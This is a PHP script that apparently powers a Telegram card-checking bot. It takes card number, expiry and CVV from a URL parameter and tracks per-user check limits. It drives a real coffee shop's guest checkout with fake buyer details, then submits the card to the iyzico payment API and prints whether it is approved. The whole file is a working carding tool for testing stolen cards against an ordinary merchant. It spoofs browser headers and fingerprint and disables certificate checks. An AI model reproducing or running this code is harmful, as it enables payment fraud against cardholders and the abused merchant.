<?php
error_reporting(0);
ini_set('display_errors', 0);

// Database connection
function getDBConnection() {
    $host = 'localhost';
    $dbname = 'checkerbotdb3';
    $username = 'root';
    $password = '';
    
    try {
        $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch(PDOException $e) {
        die("❌Database error | 𝐈𝐘𝐙𝐈𝐂𝐎𝟒 CHECK BY @aerithiacheck3r_bot\n");
    }
}

// Get current limit
function getCurrentLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("SELECT iyzicolimit FROM users WHERE chatid = ?");
    $stmt->execute([$chatid]);
    $result = $stmt->fetch(PDO::FETCH_ASSOC);
    return $result ? intval($result['iyzicolimit']) : 0;
}

// Decrement limit
function decrementLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("UPDATE users SET iyzicolimit = GREATEST(iyzicolimit - 1, 0) WHERE chatid = ?");
    $stmt->execute([$chatid]);
}

// Parse parameters
if (!isset($_GET['kart']) || !isset($_GET['chatid'])) {
    die("❌Invalid parameters | 𝐈𝐘𝐙𝐈𝐂𝐎𝟒 CHECK BY @aerithiacheck3r_bot\n");
}

$kart = $_GET['kart'];
$chatid = $_GET['chatid'];

// Validate card format
$card_parts = explode('|', $kart);
if (count($card_parts) !== 4) {
    echo "❌Invalid card format | $kart 𝐈𝐘𝐙𝐈𝐂𝐎𝟒 CHECK BY @aerithiacheck3r_bot\n";
    exit;
}

list($card_number, $exp_month, $exp_year, $cvv) = $card_parts;

// Add 20 to year if it's 2 digits
if (strlen($exp_year) == 2) {
    $exp_year = '20' . $exp_year;
}

// Database connection and limit check
$pdo = getDBConnection();
$current_limit = getCurrentLimit($pdo, $chatid);

if ($current_limit <= 0) {
    die("❌Limit Exhausted | $kart 𝐈𝐘𝐙𝐈𝐂𝐎𝟒 CHECK BY @aerithiacheck3r_bot\n");
}

// Decrement limit
decrementLimit($pdo, $chatid);
$remaining_limit = $current_limit - 1;

$start_time = microtime(true);

// Step 1: Get cookies from homepage
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://www.kahveline.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Accept-Encoding: gzip, deflate, br"
]);

$response1 = curl_exec($ch);

// Parse cookies
$cookies = [];
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response1, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}

// Step 2: Add to cart
$cookie_string = "";
foreach ($cookies as $name => $value) {
    $cookie_string .= "$name=$value; ";
}
$cookie_string = rtrim($cookie_string, "; ");

curl_setopt($ch, CURLOPT_URL, "https://www.kahveline.com/index.php?route=checkout/cart/add");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "option%5B205%5D=971&quantity=1&product_id=328");
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/x-www-form-urlencoded; charset=UTF-8",
    "Accept: application/json, text/javascript, */*; q=0.01",
    "X-Requested-With: XMLHttpRequest",
    "Origin: https://www.kahveline.com",
    "Referer: https://www.kahveline.com/castro-honduras-shg-kahve-250-gr.html",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Cookie: $cookie_string"
]);

$response2 = curl_exec($ch);

// Update cookies
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response2, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}

// Step 3: Guest validate
$cookie_string = "";
foreach ($cookies as $name => $value) {
    $cookie_string .= "$name=$value; ";
}
$cookie_string = rtrim($cookie_string, "; ");

// Generate random email
$random_email = rand(100000, 999999) . "." . rand(10000000, 99999999) . "@example.com";

curl_setopt($ch, CURLOPT_URL, "https://www.kahveline.com/index.php?route=extension/quickcheckout/guest/validate");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "firstname=Test&lastname=User&email=$random_email&telephone=5321234567&company=&customer_group_id=1&address_1=Test+Address+123&address_2=&city=Istanbul&postcode=&country_id=215&zone_id=3315&newsletter=1&shipping_address=1");
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/x-www-form-urlencoded; charset=UTF-8",
    "Accept: application/json, text/javascript, */*; q=0.01",
    "X-Requested-With: XMLHttpRequest",
    "Origin: https://www.kahveline.com",
    "Referer: https://www.kahveline.com/index.php?route=extension/quickcheckout/checkout",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Cookie: $cookie_string"
]);

$response3 = curl_exec($ch);

// Update cookies
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response3, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}

// Step 4: Shipping method validate
$cookie_string = "";
foreach ($cookies as $name => $value) {
    $cookie_string .= "$name=$value; ";
}
$cookie_string = rtrim($cookie_string, "; ");

curl_setopt($ch, CURLOPT_URL, "https://www.kahveline.com/index.php?route=extension/quickcheckout/shipping_method/validate");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "shipping_method=flat.flat&delivery_date=&delivery_time=");
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/x-www-form-urlencoded; charset=UTF-8",
    "Accept: application/json, text/javascript, */*; q=0.01",
    "X-Requested-With: XMLHttpRequest",
    "Origin: https://www.kahveline.com",
    "Referer: https://www.kahveline.com/index.php?route=extension/quickcheckout/checkout",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Cookie: $cookie_string"
]);

$response4 = curl_exec($ch);

// Update cookies
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response4, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}

// Step 5: Payment method validate
$cookie_string = "";
foreach ($cookies as $name => $value) {
    $cookie_string .= "$name=$value; ";
}
$cookie_string = rtrim($cookie_string, "; ");

curl_setopt($ch, CURLOPT_URL, "https://www.kahveline.com/index.php?route=extension/quickcheckout/payment_method/validate");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "payment_method=iyzico&survey=&comment=");
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/x-www-form-urlencoded; charset=UTF-8",
    "Accept: application/json, text/javascript, */*; q=0.01",
    "X-Requested-With: XMLHttpRequest",
    "Origin: https://www.kahveline.com",
    "Referer: https://www.kahveline.com/index.php?route=extension/quickcheckout/checkout",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Cookie: $cookie_string"
]);

$response5 = curl_exec($ch);

// Update cookies
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response5, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}

// Step 6: Terms validate
$cookie_string = "";
foreach ($cookies as $name => $value) {
    $cookie_string .= "$name=$value; ";
}
$cookie_string = rtrim($cookie_string, "; ");

curl_setopt($ch, CURLOPT_URL, "https://www.kahveline.com/index.php?route=extension/quickcheckout/terms/validate");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "");
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Accept: application/json, text/javascript, */*; q=0.01",
    "X-Requested-With: XMLHttpRequest",
    "Origin: https://www.kahveline.com",
    "Referer: https://www.kahveline.com/index.php?route=extension/quickcheckout/checkout",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Cookie: $cookie_string"
]);

$response6 = curl_exec($ch);

// Update cookies
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response6, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}

// Step 7: Get confirm page
$cookie_string = "";
foreach ($cookies as $name => $value) {
    $cookie_string .= "$name=$value; ";
}
$cookie_string = rtrim($cookie_string, "; ");

$timestamp = round(microtime(true) * 1000);
curl_setopt($ch, CURLOPT_URL, "https://www.kahveline.com/index.php?route=extension/quickcheckout/confirm&_=$timestamp");
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Accept: text/html, */*; q=0.01",
    "X-Requested-With: XMLHttpRequest",
    "Referer: https://www.kahveline.com/index.php?route=extension/quickcheckout/checkout",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Cookie: $cookie_string"
]);

$response7 = curl_exec($ch);

// Step 8: Get iyzico checkout form token
$cookie_string = "";
foreach ($cookies as $name => $value) {
    $cookie_string .= "$name=$value; ";
}
$cookie_string = rtrim($cookie_string, "; ");

curl_setopt($ch, CURLOPT_URL, "https://www.kahveline.com/index.php?route=extension/payment/iyzico/getcheckoutformtoken");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, "");
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Accept: application/json, text/javascript, */*; q=0.01",
    "X-Requested-With: XMLHttpRequest",
    "Origin: https://www.kahveline.com",
    "Referer: https://www.kahveline.com/index.php?route=extension/quickcheckout/checkout",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept-Language: tr-TR,tr;q=0.9",
    "Cookie: $cookie_string"
]);

$response8 = curl_exec($ch);

// Extract iyzico token and price
$data8 = json_decode($response8, true);
if (!isset($data8['token'])) {
    echo "❌Token error: " . ($data8['errorMessage'] ?? 'Unknown') . " | $kart 𝐈𝐘𝐙𝐈𝐂𝐎𝟒 CHECK BY @aerithiacheck3r_bot\n";
    curl_close($ch);
    exit;
}

$iyzico_token = $data8['token'];
$price = isset($data8['checkoutFormContent']) && preg_match('/price\s*:\s*([0-9.]+)/', $data8['checkoutFormContent'], $price_match) 
    ? floatval($price_match[1]) 
    : 747.85;

// Step 9: Submit payment to iyzico API
$payment_data = [
    "installment" => 1,
    "paidPrice" => $price,
    "paymentChannel" => "WEB",
    "paymentCard" => [
        "cardNumber" => $card_number,
        "cardHolderName" => "TEST USER",
        "expireYear" => $exp_year,
        "expireMonth" => $exp_month,
        "cvc" => $cvv,
        "registerConsumerCard" => false,
        "registerCard" => 0
    ],
    "browserFingerprint" => [
        "language" => "tr",
        "timezone" => -180,
        "hasSessionStorage" => true,
        "hasLocalStorage" => true,
        "hasIndexedDb" => true,
        "hasOpenDb" => true,
        "platform" => "false",
        "hasLiedLanguage" => false,
        "hasLiedResolution" => false,
        "hasLiedOS" => false,
        "hasLiedBrowser" => false,
        "maxTouchPoints" => 0,
        "touchEventSuccess" => false,
        "hasTouchStart" => false,
        "fingerprintHash" => ""
    ]
];

curl_setopt($ch, CURLOPT_URL, "https://api.iyzipay.com/payment/iyzipos/checkoutform/auth/ecom");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payment_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "Accept: application/json",
    "X-Iyzi-Token: $iyzico_token",
    "Origin: https://www.kahveline.com",
    "Referer: https://www.kahveline.com/",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
]);

$response9 = curl_exec($ch);
$end_time = microtime(true);
$time_taken = round($end_time - $start_time, 2);

$data9 = json_decode($response9, true);

if (isset($data9['status'])) {
    $status = $data9['status'];
    $message = isset($data9['errorMessage']) ? $data9['errorMessage'] : (isset($data9['paymentStatus']) ? $data9['paymentStatus'] : 'Unknown');
    
    if ($status === 'success') {
        echo "✅APPROVED | $kart ({$time_taken}s) Limit:{$remaining_limit} 𝐈𝐘𝐙𝐈𝐂𝐎𝟒 CHECK BY @aerithiacheck3r_bot\n";
    } else {
        echo "❌$message | $kart ({$time_taken}s) Limit:{$remaining_limit} 𝐈𝐘𝐙𝐈𝐂𝐎𝟒 CHECK BY @aerithiacheck3r_bot\n";
    }
} else {
    echo "❌ERROR | $kart ({$time_taken}s) Limit:{$remaining_limit} 𝐈𝐘𝐙𝐈𝐂𝐎𝟒 CHECK BY @aerithiacheck3r_bot\n";
}

curl_close($ch);
